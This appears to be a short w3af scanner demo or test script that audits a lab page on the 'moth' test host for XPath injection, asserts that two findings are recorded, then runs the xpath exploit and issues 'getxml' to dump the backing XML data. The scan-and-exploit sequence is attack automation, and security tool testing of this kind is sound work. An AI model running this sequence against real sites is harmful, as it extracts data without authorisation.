# This is the xpath demo

plugins
audit xpath
output console,textFile

output config textFile
set fileName output-w3af.txt
set verbose True
back

output config console
set verbose True
back

back

target
set target http://moth/w3af/audit/xpath/xpath-attr-single.php?input=1
back
start

assert len(kb.kb.getData('xpath','xpath')) == 2

exploit

exploit xpath
interact 0

getxml

exit

exit

